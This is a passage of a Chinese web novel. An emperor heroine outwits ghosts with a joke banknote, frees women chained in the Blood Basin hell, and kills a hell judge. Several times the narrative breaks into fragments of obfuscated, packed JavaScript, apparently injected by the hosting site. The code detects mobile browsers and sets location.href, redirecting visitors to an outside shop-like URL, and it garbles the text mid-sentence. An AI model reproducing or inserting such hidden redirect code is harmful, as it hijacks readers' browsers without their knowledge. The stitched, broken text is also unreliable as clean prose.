35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376613|200044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 秦霜池故意背对前进的方向站着,把布条吊在了棺材后方,以防前方被鬼堵路。 众鬼果然跟在棺材后,追着那条布跑。 前面的鬼拿不到布条,被后面的鬼贪婪地挤倒,后面的鬼不管不顾地踩着前面的鬼的躯体,直挺挺压上去,又被更后面的鬼当垫脚石。 就这样,被压在底下的鬼越来越多,这座厉鬼组成的山越堆越高! 秦霜池酿成了鬼界第一例惨烈的踩踏事故! 一只只踩着同伴登顶的厉鬼飞扑着伸出手,又一头栽倒到了鬼山之下。 很快,这座鬼山堆到了两人半的高度。 一双枯瘦的鬼手从鬼山中挣扎着伸出,握紧那块布,用力扯下。 那块布就落在了某一只鬼的手中。 布有了归属以后,众厉鬼又调转矛头,继续撕咬起了三只尸鬼。 此时此刻,评委席上。 “这家伙叽里咕噜说些什么呢,听不懂。”牛头人一头雾水地挠它的老牛脑袋。 白骨精破天荒没有唱反调,颇为诧异地看着这一幕:“……她竟然想到了这一层。” “太像了……这个表情实在太像了!”社畜鬼忽然精神百倍,咬牙切齿地握拳,语速十分之快,“她这个表情,跟我那个奸商老板说要拿自家的产品抵工资时一个样,哪个智械会想要一千六百瓶润滑油啊,一辈子都用不完……节目组!节目组!我这盏灯还能撤回吗?!” 喊了半天,它没有得到任何回应。 不知不觉,白骨精已经将手放在魂灯上了。 它的身体微微前倾,想看清场上的每一个细节,不愿错过一分一秒。 这个叫秦霜池的人类……会选择怎么做? 放弃人类特有的廉耻之心,把身上的衣服脱下来当布匹分发给众鬼么? 唐僧割肉度群魔,这也不失为一种突破。 只要计算得当,维持一个恰到好处的串上布匹的频率,她确实能带着三只尸鬼勉强逃生。 那么,秦霜池……会这么做吗? 镜头转回此刻的枉死鬼城。 刚刚秦霜池已经确认过了,布匹行。 这可以视为:什么货币都行。 远古时期的贝类行,兽皮行。 还有北宋交子、RMB之类的纸币肯定也行。 ——上述物品,秦霜池身上通通都没有。 她现在身上有的,只剩下那几块龙袍上破布。 ……可她是皇帝啊! 皇帝当然有颁行货币的权力! 换而言之: 她说什么是钱,什么就是钱! 她说钱值多少,钱就值多少! 秦霜池舍不得扯自己的龙袍,又从倒霉的鬼太监身上扯下一块方方正正的布条。 为了写字看得清楚一些,她特意扯的是白色的里衣。 “爱卿,你掉下来的手指借给朕用一下。” 秦霜池也舍不得为了这种事损伤自己的龙体,张口就是要。 反正是为了救三只尸鬼才需要做的,秦霜池要起来没有一点心理负担。 秦霜池攒够了作案工具,双手合十,对着天拜了两下。 如果说,缺德真的有什么报应的话。 苍天有眼,就报复在她的臣子们身上吧! 拜完,她拿着鬼武将只剩下白骨的手指,蘸了点鬼文臣的血浆,在布条上奋笔疾书。 ……咦,纸币上通常写啥来着? 颁发部门——“秦帝银行”。 防伪标识——画个笑脸吧! 货币名称——那就填个“池币”好了。 秦霜池还贴心地在下方写了小字注释: 一池币等于一万两黄金! 还有,最重要的,这张池币的面值! 秦霜池填写完毕以后,举起那张崭新的池币,骄傲地对着众厉鬼大声宣布: “锵锵锵!都给朕看好了,这里是!一,兆,兆!” 6.出手阔绰小气鬼 众鬼齐齐抬头看去。 那张白底红字的布币上,歪歪扭扭地画着笑脸,正中心上是“一兆兆”三个大字。 看着自己辛勤劳动的成果,秦霜池点了点头。 看看!她人多好啊! 明明可以直接胡说八道,她偏偏还给了这些厉鬼一点无用的仪式感。 根据枉死城规,厉鬼们被迫盯着那张跟闹着玩似的布块看,眼神中流露出渴望。 它们伸出手想抓,秦霜池却收回。 她笑嘻嘻地说:“唐太宗在隋唐之战和玄武门之变中杀了那么多人,听说他到这来,买路财也就只给了一库金银而已。我这一出手就是一兆兆,又只是买我这三个不成器的臣子的命,按照枉死城的规矩,你们是不是还得给我找零?” ……没错! 她就是世上最抠门的小气鬼皇帝,连这块闹着玩的破布都不想给它们! 多有纪念意义啊,世界上的第一张池币! 如果能够带出去,她一定自己收藏! 此言一出—— 一众厉鬼:啥?一兆兆要找零?怎么找零?去哪里找这么多的零?城规也没教过啊…… 三只尸鬼:别看我!别看我!这是谁家的皇帝谁领走!真的真的好丢脸哇…… 三位判官评委:没话说,真的没话说。 “秦霜池……算你厉害!” 白骨精黑着脸按亮了那盏魂灯。 不像是心服口服,倒像是对秦霜池这个人类没招了。 “那俺老牛也,算,算你厉害!” 牛头人看见白骨精给了灯,它也就跟着拍亮了它的那盏。 第二、第三盏魂灯接连亮起! 社畜鬼已经一动不动地趴在了评委席上,头上代表着它心情的两只电子苍蝇转来转去。 它被秦霜池气得差点又猝死一回。 【导播提示:叮咚~已经有两盏魂灯为您亮起!有两位仁慈的智械听到了您绝望的求救,成为了您渴求的救赎!】 【导播提示:叮咚~已经有三盏魂灯为您亮起!有三位仁慈的智械认可了您无望的努力,挽救了您卑微的性命!】 【三盏魂灯只为您一人亮起!恭喜您已经成功晋级!】 【导播提示:请您继续保持好的状态,完成属于您的初舞台!】 秦霜池一句“找零”,直接把枉死城的厉鬼们都整不会了,最终也没思索出个所以然。 众厉鬼看着那张一兆兆池币,行注目礼送秦霜池一行离开。 秦霜池十分淡定地坐在棺材上,不断催促着抬棺的三只尸鬼: “快跑快跑,它们的脑子要是转过弯来,你们仨就完蛋了!” 三只尸鬼被催了又催,六条腿都快抡冒烟了。 但没办法,谁叫秦霜池是皇帝呢! 在秦霜池的强烈要求下,鬼文臣作了一首颂圣诗: 《过枉死城》 作者/一只不愿意透露姓名的鬼文臣 今有好池帝,颁布新池币。 面值为一兆,鬼还得倒找! 就这样,伟大的帝王带着她不成器的三只臣子,一命无伤速通了枉死鬼城! 秦霜池已经三灯成功晋级了。 没了晋级的压力,她剩下两剑其实想砍谁都行。 ——她甚至可以莫名其妙砍这条黄泉路两剑。 或者折回去,随便砍两只看不顺眼的枉死城厉鬼。 当然,也可以一直铺垫自己准备好了要砍,结果到头来就是不砍这两剑,憋死期待她砍人的观众! 这几个做法十分出人意料,除了显得她是个神经病,让表演变得很难看,以及投票给她的判官评委眼瞎以外,没有任何副作用。 秦霜池也只是想想而已。 登上舞台是她的梦想,认真对待每一个舞台,是她一直以来的习惯。 虽然现在已经不当歌手了,但她养成的习惯,从来没有变过。 剩下的两剑,她一定会砍出去。 不止会砍,还会砍得漂亮! 秦霜池闲得没事干,就鞭策她的臣子: “你们三个,走快点!” 黄泉路已经吃到了尸鬼们的膝盖处,再加上刚才在血盆苦界被厉鬼围着啃,三只尸鬼的模样简直是惨不忍睹,给秦霜池抬棺材时那叫一个身残志坚。 见识到秦霜池的癫狂和小气以后,三只尸鬼完全不敢休息了,抬着棺材一路小跑,到了下一个重要途经地点。 想要去奈何桥,就得经过枉死鬼城和血盆苦界。 枉死鬼城已经过了,血盆苦界近在眼前。 “陛下,这就是血盆苦界的入口了。”鬼太监躬身,殷勤道。 从远处看去,血盆苦界就像是一个装满血水的褐色盆子,中间漂浮着大大小小的黑色熔岩岛屿,这些岛屿被一根根粗黑的锁链桥连在一起,可供通行。 “血盆苦界里的鬼都是生前犯错、死后赎罪的鬼囚,我们只是借道穿过,可以与它们井水不犯河水。”鬼文臣将注意事项娓娓道来,“需要小心的是,此处的鬼很喜欢对路人托事,故而最好不要与它们产生交流,尤其是——不要答应它们任何事!” 秦霜池好奇问:“答应了会怎么样?” 鬼文臣一脸严肃地说:“那就会与它们产生因果,若不完成它们所托之事,便会被永远困在这血盆苦界中。” 秦霜池点了点头,示意自己已经明白了。 明白归明白,听不听那是另一回事。 在鬼文臣的再三叮嘱后,三臣一帝走进了血盆苦界中。 血盆苦界的锁链桥下方就是一片沸腾冒着泡的血海。 怕这三只尸鬼贼心不死,趁着过桥,把她这个皇帝从棺材里晃进血海中,秦霜池决定屈尊自个儿走路。 作为一个爱民如子的好皇帝,秦霜池贴心地将鬼武将喊到身前,她亲自为它断后。 又贴心地将鬼文臣保护在身后,她亲自为它开道。 然后勒令鬼太监待在她身边,一有危险,她随时准备着挺身保护它,让它拿自己挡刀。 她一通操作下来,最终阵型呈现出: 鬼武将-鬼太监(肉盾)-秦霜池ovO-鬼文臣 这样的一个状态。 不管其他尸鬼这么想,反正秦霜池这个皇帝很满意。 保持着这个阵型,他们踏上了铁链桥。 千百根焦黑的铁链交叠铺成了一座桥,每一根铁链都有人的大腿那么粗,走上去依旧会有些微的摇晃。 这时候可晃不得,一不小心,就会掉进沸腾的血海里,变成尸鬼火锅了! 秦霜池为了走得稳些,不得不微微蹲下,放低重心一点一点磨蹭。 又为了防止身后的鬼文臣偷袭她,她一步一摇头,甚至偶尔还来个假动作。 见秦霜池神鬼莫测地虚晃N枪后,鬼文臣苦笑:“陛下,您这么不放心微臣的话,不如微臣走您前面吧。” 秦霜池十分坚定地摇了摇头: “不行,那万一后方有刺客来袭,谁来为朕护驾?” 多疑是皇帝的基本功! 比起遭遇不测,秦霜池宁愿就这样跳着探戈过桥。 如鬼文臣所预告过的,他们刚刚踏上血盆界烫脚的熔岩土地,便有被锁链缠身、穿着囚服的鬼囚向他们扑来。 还没有碰到他们,又被身后的锁链拉扯住,只能发出不甘的哀嚎。 秦霜池微微扫了几眼,诧异于这里的鬼的精神状态,似乎和枉死鬼城的很不一样: 枉死鬼城的鬼一个个精力旺盛得可以去跑马拉松,无论是啃人还是叠罗汉都活力满满。 血盆苦界的鬼眼神中却没有半点恶意,更多是迷茫和痛苦,以及见到人时莫名的渴望。 甚至就连扑人的都是少部分。 大部分都静静坐在原地,被铁链捆着,对周围发生的一切只是逆来顺受。 “哎哟!” 鬼太监走得匆忙了一些,差点踩到其中一只鬼囚的脚。 它惊慌回头看去,那鬼囚歪着脑袋靠在柱子上,甚至连眼珠子都没有转动分毫。 就在秦霜池被鬼太监弄出来的动静吸引的时候。 忽然,锁链拖地声响起。 一只没有双腿的鬼囚趴在地上,用手撑着滚烫的黑岩,一点一点爬向秦霜池。 它身后留下两道断腿截面流出的血迹,仿佛是独属于它的“车辙”。 鬼囚并不伸手去阻拦秦霜池的去路,而是趁着这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385050|200044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难得的机会,张嘴问: “帮我,帮我问问他……我和他成婚三十年有余……为他生儿育女教养大了三个孩子……他为什么要为了一个外室砍了我的双腿……害得我落入这血盆苦界中?” 秦霜池一顿,没有回顾,继续前行。 秦霜池已经注意到了:这里的鬼囚,大多都是女子。 许许多多的鬼囚被铁链拽着,拦路向她要个承诺—— 秦霜池走着。 “……李郎说是我肚皮不争气,所以他才休了我另娶,父兄嫌弃我不能生养,便将我贱卖给了城东头的泼皮,我被他折磨得身上不剩下一块好肉,死后还要堕入这血盆苦界之中,求你帮我问问送子娘娘,因何不让我有孕,可是我前世作了大孽不成?” 再走。 “……我是被拐到这里的!我不是自愿给他们当老婆的!我真的没有疯!我马上就大学毕业了,我家住在XX省XX市XX路XX小区,我妈妈的电话是156XXXXXXXX,求求你,求求你帮我给家里打电话!我的家人很爱我,他们会给你很多很多钱的!” 继续往前。 “……我不想死,我真的不想死,帮我求求他们放过我!我的脸已经毁了,我再也不打扮自己了!对不起!我的零花钱都给你们!对不起,我不该故意打扮勾引人,我以后会乖乖听话的!我没有对你翻白眼,对不起,我不敢,我再也不敢乱看了!别打我了……我爸妈还等着我回去吃饭呢。” 还有她听不懂的、女婴稚嫩的啼哭。 不甘,迷茫,怅惘,悲伤,绝望…… 秦霜池恍惚间,甚至听见了自己的声音。 她听见了自己躺在洗头床上,问司马潭的那句“为什么”。 “那你为什么要……杀我……你可以……直接抛弃……我……” 她垂眸,握紧拳头,保持着那颗铁石心肠,没有回答任何一个问题。 这些来自过去的女人们的请求,没有一个是她能完成的。 如果贸然答应,只会让自己也永远困在这里。 对于过去,她做不了什么,她能改变的,只有未来。 直到她看到那块巨大的石头。 “陛下,您怎么不走了?”鬼太监回头问。 “陛下可是在看这石头上刻的字。”鬼文臣顺着秦霜池的视线看去,“这石头上刻的应该是《元始天尊济度血湖真经》,血盆苦界便依此法运转。” 秦霜池不语,沉默地抬着头,看着石头上用无数女子鲜血写就的字: “降生女质,五浊形漏,匹配夫妻,阴阳结聚,以为胎孕,冤家债主,互相偿报。是故生产有诸厄难,或月水流行,洗浣污衣,或育男女,血污地神,污水倾注溪河池井,世人不知不觉汲水饮食,供献神明,冒触三光或误服毒药,损子堕胎,或男女数多,故行溺死,仇报对,鬼相攻。或致子死腹中,母亡产后,或母子俱亡,至伤性命。或遭刑,兵解难逃。或疾染恶鬼,横伤非命,死入酆都血湖地狱,备受诸苦,由积血以成湖,认幻缘而有狱。” 生下来是女孩,所以存在五种浊乱,身形有缺漏? 月经和生产的血水,会污染水源,不敬神明,造成业报,必须关进血盆苦界中? 必须受够各种苦楚,积血流成湖泊,非得意识到一切是虚妄,才能获得解脱? ——全都是放它的狗屁! 寻了个莫名其妙的由头把女人们囚禁在此,逼着她们赎完全不存在的罪行。 本就不该有这般苦处,又谈何勘破? 她愤,她执,她勘不破,也不想勘破! 至于勘破和原谅的权力,她愿意大方地让给那些伤害了她、因而遭受了她的报复的那些人。 ——你们去原谅吧! ——你们去勘破吧! ——你们去认清一切都是虚妄以后得道成仙吧! 而她,秦霜池。 会用她自己的手,将受过的一切苦难讨回来! 她不要理解,不要偏爱,她只要个公道! 看着看着,秦霜池隔着龙袍,摸了摸怀中的刑天加油包,冷笑一声: “这血盆苦界,管事的是谁?” 三只尸鬼看见她这副表情,齐齐打了个寒颤。 7.血盆苦界鬼见愁 “……是仵官王。”愣了一会儿后,鬼文臣回话,“那可是位列十殿阎王之中的仵官王!陛,陛下,要不咱算了吧,还是赶路要紧。” “没事,朕不急着赶去投胎,朕还想再玩一玩。”秦霜池脸上没有丝毫笑容,“你们怕的话,就去出口处等着朕,不要回这里任何鬼的话,没有因果,它们便碰不到你们了。” “可是,得罪十殿阎王……犯不着吧。” “是它先犯的我!” 留下这句话后,秦霜池提剑而去,只留下一个穿着破烂龙袍的背影。 第二次试剑的机会,她就决定免费送给这位仵官王了! 三尸鬼也没敢在这时候偷袭她。 毕竟,这疯子皇帝,可是连阎王都敢杀啊! 秦霜池发痴了。 她低垂着头,长发飞扬,五官表情在血盆苦界昏暗的光线中模糊不清。 唯一能看清的,是她手里宝剑的反光。 在寻找仵官王的路上,她一边走,一边顺手用削铁如泥的宝剑砍断了一根根那些困着鬼囚们的铁链。 【好剑】砍瓜切菜不算耗费次数,砍锁链也不算! 一根! 十根! 千百根! 但凡是入了眼的锁链,她看到多少根就砍多少根,完全不嫌累得慌。 解放血盆苦界的事情,她顺手就做了! 有些胆子小的鬼囚,刚刚脱离铁链束缚时,习惯性地不敢动弹。 直到看到四周渐渐混乱起来,许多鬼囚开始疯跑,哪怕才迟钝的,也慢慢尝试着站起身。 试探性地迈出第一步,第二步…… 发现自己不再受束缚后,彻底抛下一切,奔跑起来。 路过那个被鬼太监踩了脚都没有丝毫反应的女囚,秦霜池也顺手砍掉了束缚她的锁链。 女囚依旧靠在烧红的烙铁柱子上一动不动,半张脸已经被烫熟,散发出烤肉的焦味。 秦霜池垂眸看着她,沉默片刻后,微微蹲下身。 她强行与那双一动不动的眼珠对视。 在一片混乱中,这个角落显得安静得可怕。 许久之后,那双浑浊的眼珠终于动了。 它的右边眼角流下了一行清泪,左边眼角的泪还未落下,就已经被铁柱的热气烤干。 那双眼珠愤恨又惶然地看着秦霜池,仿佛在说“你为什么要把我解救出来”。 它被关了太久太久,压根不知道自己该去干什么。 秦霜池笑了笑,仗着对方没有开口提问,率先回答道: “那你恨我吧。” ——不知道为了什么存在下去的话,那你可以把恨我作为存在的意义。 “开玩笑的,朕不背负别人的因果,没事干的话,趁早去投胎。” 说完,疯子皇帝潇洒转身,砍其它的链子去了。 秦霜池的举动,很快引起了鬼卒的注意。 “不得了了,有人闹血盆苦界!” 鬼卒想要来阻拦她,却因为没有因果,只能从她的尸体里穿过。 “汝为何人?报上名来!” 它们不断引诱着秦霜池交谈。 成群结队、青面獠牙的鬼卒,穿着有黑有蓝的皂隶衣。 脸上带着各种各样的情绪,嘲讽、挖苦、担忧、惧怕、愤怒、疑惑…… 那么多种情绪,只向着那个正在四处奔走的龙袍女子。 “不敢吭声,可是畏惧吾等神威?!”甚至还有激将。 秦霜池听了,停了脚步,微微扭转回了上身。 她一句话不说,伸出一根手指拉下眼皮,做了个潦草的鬼脸。 她~好~怕~怕~呀~ 鬼囚气得一蹦三尺高:“居然敢挑衅!哇呀呀呀岂有此理,岂有此理!” 气完鬼囚后,忙碌的秦师傅继续砍砍砍。 路过某个女囚时,她顺了人家的一副墨镜戴在脸上。 戴上墨镜以后,鬼卒的游魂更加看不清了。 过气歌手·新人皇帝·秦霜池明目张胆地目中无鬼,耍起了大牌。 “出大事了!血盆苦界来了个穿着龙袍的疯子,我们拿她完全没办法!快快前去禀告仵官王!” 秦霜池听见了,露出了满意的笑容。 可算是来了,就等着你呢! 轰隆隆—— 忽然,远处传来巨大的响声。 秦霜池看向声音的来源,居然是熔岩岛屿之间的血池。 她视线刚瞥过去。 一只巨大的手掌忽然出现,攀附在了岩石上。 这双手的每一根手指,都有一个人的身体那么粗。 整个岛屿因为被这只大手撑着借力,硬生生下沉了半米。 站在岛屿上的秦霜池也一个趔趄,她连忙把剑插在地上,扶着剑柄稳住身子。 翻腾海啸般的血池溅到了她的龙袍上,烧灼出了一个焦黑血臭味的大洞。 等秦霜池站稳再抬头。 那个穿着黑衣的绿脸巨人已经从血池之中缓缓站起,一双灯笼一般的大眼亮着血红色的光,怒目而视,瞪着秦霜池这个始作俑者。 秦霜池冷笑一声,率先发难: “就你叫仵官王啊。” 那个巨人吐出一口浊气,掀起一阵飓风,这阵飓风并不能波及与它没有因果的秦霜池。 “人皇来此,有何贵干。”它的声音令天地俱震,“地府十阎王与人皇,本来秋毫无犯,吾等素来对人皇敬重有加,今日汝又为何来此发难,搅得血盆苦界不得安宁?!” 秦霜池不回答,慢悠悠擦拭着她的剑。 只要她不回答任何问题,没有因果,仵官王便暂时动不了她。 ——当然,以仵官王这个身量,哪怕不直接动她,也可以把她所在的岛屿直接掀翻。 这样一来,她自然命丧于血池之中。 就是对付一只小小尸鬼,这般来取胜,实在赢得不够漂亮。 仵官王见秦霜池不理不睬,非但不生气,反而缓了口气: “人皇,吾今前来,并非问罪,区区血池地狱,也不足以动摇地府与人间的交情,只要汝允诺吾不再生事,今日之事,便当没发生过。” 秦霜池抬眼,轻松看穿了巨人眼中的算计。 不就是想骗她先开口答应,只要产生因果后,要杀要剐就由不得她了吗? 这个老不死的,真是鸡贼啊! 看穿了这一点,秦霜池擦完了剑,唇角轻轻翘起,开口道: “……好。” “不能答应它!” 就在她说这话时,远处有许多女囚在挥手,声嘶力竭地对着她呼喊。 “不能答应它!答应了之后,就代表着产生了因果,它可以碰得到你了!” “谢谢你们啊。”秦霜池听见提醒,有些感动,转头也对着女囚们挥了挥手,“但是,晚啦。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17395570|200044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >仵官王同样想观察秦霜池的神色。 可这疯子不知道从哪里搞来了一副墨镜,把眼神给遮住了。 它莫名有点不安,总觉得是不是有点太顺了。 那么多鬼卒都撬不开她的嘴,怎么它一来她就开口了? 但更多,还是计谋得逞的自满。 仵官王以怪异而兴奋的语调宣告,它抬起手掌就要拍下来,排山倒海,天崩地裂: “人皇,汝今必将魂飞魄散于此!!!!” 巨大无比的手掌冲着秦霜池拍去! “不着急,在朕死之前,先和朕先聊聊吧。” 秦霜池仰头看那只大手,墨镜后那双眼睛没有丝毫将死之人的惧怕。 “你也回答朕一个问题,怎么样?” 那双巨大的手掌悬停在了秦霜池上方三尺处,阴影笼罩住秦霜池渺小的身躯。 举头三尺见鬼神。 “汝,速速说来——” “你为什么非得弄出这个血盆苦界,迫害这些女囚不可呢?”秦霜池给了它最后的机会。 “这是祖宗之法。”仵官王毫不犹豫地严肃申明,“祖宗之法不可废。” “……是么。” 听到这个答案,秦霜池笑了一下,扔掉墨镜。 拿出拇指大小的刑天加油包,塞进嘴中咀嚼几下,快速吞咽了下去。 【导播提示:叮咚~已使用道具“刑天加油包”。】 【导播提示:“使用此加油包后,可短暂获得刑天的战神赐福,你可以在下一场战斗中轻松杀死对手,取得碾压性的胜利,注意,注意,什么对手都能杀,什么战斗都能赢!”】 感受到那股不属于她的充沛力量,秦霜池从大掌的阴影下走出。 不再说废话,提剑,蓄力,冲着那个庞然大物,纵身一跃。 她仰起头,终于露出那双眼睛,眼中满是盛怒之下的杀意。 “那就去见你的祖宗!” 确实,回话之后,就代表着和仵官王产生了因果,仵官王可以碰得到她了。 但同样也意味着,她也可以碰得到仵官王了! 想要赢得漂亮的,可不止伍官王一个! 说她闹血盆苦界? ——这才哪到哪啊? 刚才只能算是小打小闹而已。 真正的好戏,才刚刚开始。 【导播提示:叮咚~已使用法器“好剑”。】 法器【好剑】状态已更新! 【状态:愈战愈勇(战斗次数2/3)】 在选定仵官王为攻击目标后的第一时间,秦霜池就听见了一声嫌弃的“啧”声。 来自某一位无比能打的远古战神。 她的身体被一股无比强大的力量接管,在空中熟练地挥舞了两下那把剑,感受了一下剑的轻重。 秦霜池自觉地对着空气说:“刑天前辈,您受累了!” 闻言,那股在她体内的力量明显更通泰了,摆好战斗姿态,准备开始干活。 众目睽睽之下,秦霜池没有借助任何外力,便飞到了空中,提着剑与仵官王对峙。 仵官王显然也看出了不对劲: “人皇,这不应是汝的力量!汝到底请来了何方神圣襄助?” 秦霜池眼睁睁见着自己不受控制地、装装地开口: “区区小辈,还不配得知吾的名讳。” 说完,秦霜池对着仵官王挥出一剑。 8.吃我一刀九九九 秦霜池看似轻轻一挥,仵官王却不敢小觑,连忙狼狈地闪身躲避。 那一挥手掀起的剑气,比庞大的仵官王还高,如一座高有千仞的白色山峰。 所过之处天崩地裂,最后落在了血盆苦界的盆地边缘,在岩壁上留下了一道深深的裂隙。 秦霜池瞥去一眼,再次挥剑,一连轻松砍出三四道剑气,砍得仵官王屁滚尿流。 这时候,体内龟缩的秦霜池忽然小声开口:“刑天前辈,咱能打个商量吗?” “说。”刑天人狠话不多。 “咱能不能只杀它一个,尽量少搞点破坏,不然伤到无辜路鬼就不好了。”秦霜池客客气气地和祂商量,“您这么这么强大,肯定可以办到吧?” 您的好友·马屁王·秦霜池已上线! 能屈能伸,才是真皇帝! 刑天没说话。 秦霜池的身体收了招式,一闪身,毫无征兆地出现在了仵官王的后心处。 仵官王眼前再也看不到秦霜池的存在,它瞳孔一缩,才想起来要转身,周身的血水如漩涡般搅动。 但已经迟了。 秦霜池的剑直直刺入了它的胸口正中心。 死穴!膻中穴! 秦霜池狐假虎威地兴奋喊道:“嘿哈!小小阎王,吃我一刀九九九!” 负责输出的刑天:…… 虽然秦霜池的剑对于仵官王庞大的身体来说,小得有点可怜。 但是架不住刑天力气大啊! 那把剑直接因为惯性,穿透了仵官王的身体,从后背捅刺到了前胸。 秦霜池又是一个闪身,到了仵官王身前,接住那把剑。 然后毫不犹豫地换了个靶心,像是扎飞镖一样,再次朝着仵官王躯干的另一个死穴扔去。 任脉上腹,鸠尾穴! 肚脐正中,神阙穴! 任脉脐下,气海穴! 好,躯干料理完毕! 接下来,就是头部和四肢。 头部死穴——百会,太阳,人中,风池! 四肢死穴——肩井,曲池,涌泉! 几乎是一瞬间,剑就被前后扔了数十个来回。 每一剑都用了上古真神才有的消神灭鬼之力。 仵官王心脉俱断,口中喷出大量的鲜血,血水像是泛洪一般泻地,差点淹没了它身前的一座倒霉岛屿。 它双眼失神,趔趄一下,就要往前倒去。 秦霜池又死皮赖脸地求道:“前辈前辈,拜托了前辈,麻烦控制一下它倒下的方向。” 秦霜池的身体伸出手,提着庞然大物的后颈,把它按在了后方的岩壁上。 “人皇……你……好样的……” 那张鬼脸渐渐失去了生气。 “只有这点斤两,真是无趣,吾去也。” 战斗结束,秦霜池的身体伸了个懒腰,阖目道。 “等一下等一下!”秦霜池连忙喊,“前辈前辈,最后再把力量借我用一会儿呗。” “汝欲为何?” “我装个大的。” “……” 秦霜池好说歹说,嘴皮子都磨破了,终于借到了刑天的力量。 她提着剑,割下了仵官王的一块肉当砚台。 然后她一手拖着那块肉,一手提着剑,穿过因为仵官王的死亡而躁动不安的鬼群,走向了那块位于血盆苦界正中央的大石头。 她抬起头,看着上面密密麻麻写着的、那些她一点都不认同的圣人教诲。 借着刑天的力量,蘸着仵官王的血,她用手中的剑改写着石头上的内容。 她先把后面那些又臭又长的文字划了个精光,只留下了“降生女质,五浊形漏”。 接着,又单独把“五浊形漏”四个字也重重地划掉。 再在上面改写了另外四个字。 秦霜池刚打完架,一时间也没有什么舞文弄墨的思路。 干脆就把女子两个字,一连写了四遍。 “降生女质,好好好好!” 秦霜池写完,转过身。 她居高临下地看着众鬼囚和鬼卒,举着手里的那块肉,高声宣布:“仵官王已死!” 而这石头上的八个字,就是秦霜池为这血盆界定下的新法则。 她要这血盆苦界,永不再苦! 她要世间女子不再因为月经而羞耻,不再因为生子而被嫌弃血腥。 没有什么生来原罪,没有什么需要勘破,站在光明之中,和男子站在同一条起跑线上。 这就是她秦霜池要的公道! 没有人是生来就有罪的! 抛去那些繁文缛节,回到道的最初,老子骑着青牛西出函谷关,悠悠天地间,留下那句: “人法地,地法天,天法道,道法自然。” 人无原罪,道法自然。 万语千言从秦霜池心中经过,最终化作了一句话。 这句话会永远刻在这块石头上,整个血盆界都做了见证,这里的每一个鬼囚都能够看到。 ——降生女质,好好好好! 头顶的评委席上,一片寂静。 白骨精一动不动地坐着,默默用意念打开了脑机,又用眼神调出了仅它可见的全息光屏,打开直播软件,用小号给秦霜池打赏了一串金元宝。 【导播提示:叮咚~观众“画皮难画骨”为您打赏了一串金元宝,折合换算为 100 点绝望值~】 【导播提示:观众“画皮难画骨”消费金额已达到 100 点绝望值,自动加入您的粉丝团!您的粉丝团现有粉丝数量为:1。】 秦霜池听见提示,立刻乐呵呵地说:“恭喜骨姐,贺喜骨姐,成为第一个加入我的粉丝团的粉丝!黄泉路上有点累,跟紧池皇不掉队!” 牛头人听见了“骨”字,立刻看向白骨精:“白姐,这个叫‘画皮难画骨’的,不会是你吧?” 白骨精咬牙切齿:“……不是。” 那么长串的名字,秦霜池是怎么就准确挑出“骨”字念的? 秦霜池:冤枉啊!我只是念了最后一个字而已! 刑天等得有些不耐烦,问:“你装完了吗?” “完了完了。”秦霜池利落地说,“前辈您慢走啊!” 回应她的,依旧是酷酷的沉默。 那股力量忽然就从她的身体里消失了。 秦霜池又变成了一个只会点花架子的普通人。 她动动胳膊动动腿,当即做了一段八拍的第八十九套广播体操,熟悉自己的身体。 有力量的感觉,确实不错。 如果这股力量本来就属于她,那就更不错了。 等着吧,早晚有一天,她也会有真正属于自己的力量的! 做完广播体操,秦霜池去找三个不成器的臣子汇合。 在这一个时辰内,站在血盆界出口处的三只尸鬼已经彻底看懵了。 一开始,就像是动物大迁徙一样,乌泱泱涌出来一群鬼囚,就是不见它们的陛下。 过了一会儿,整个地面开始震动,远处升起了一个绿皮肤的巨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17399993|200044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。 又过了一会儿,它们英明神武的陛下终于出现了。 不过是飞着出现的,就悬在那个巨人的大脸前。 那个画面,怎么看怎么诡异! 它们的陛下就这么连招呼都不打,直接丢下它们物理意义上地飞升了,还把十大阎王之一的仵官王揍得毫无还手之力! 虽然秦霜池原地飞升了,但是三只尸鬼还是迫于命令等在原地。 直到秦霜池从血盆界中走出来。 “陛陛陛陛下……恭迎陛下!” 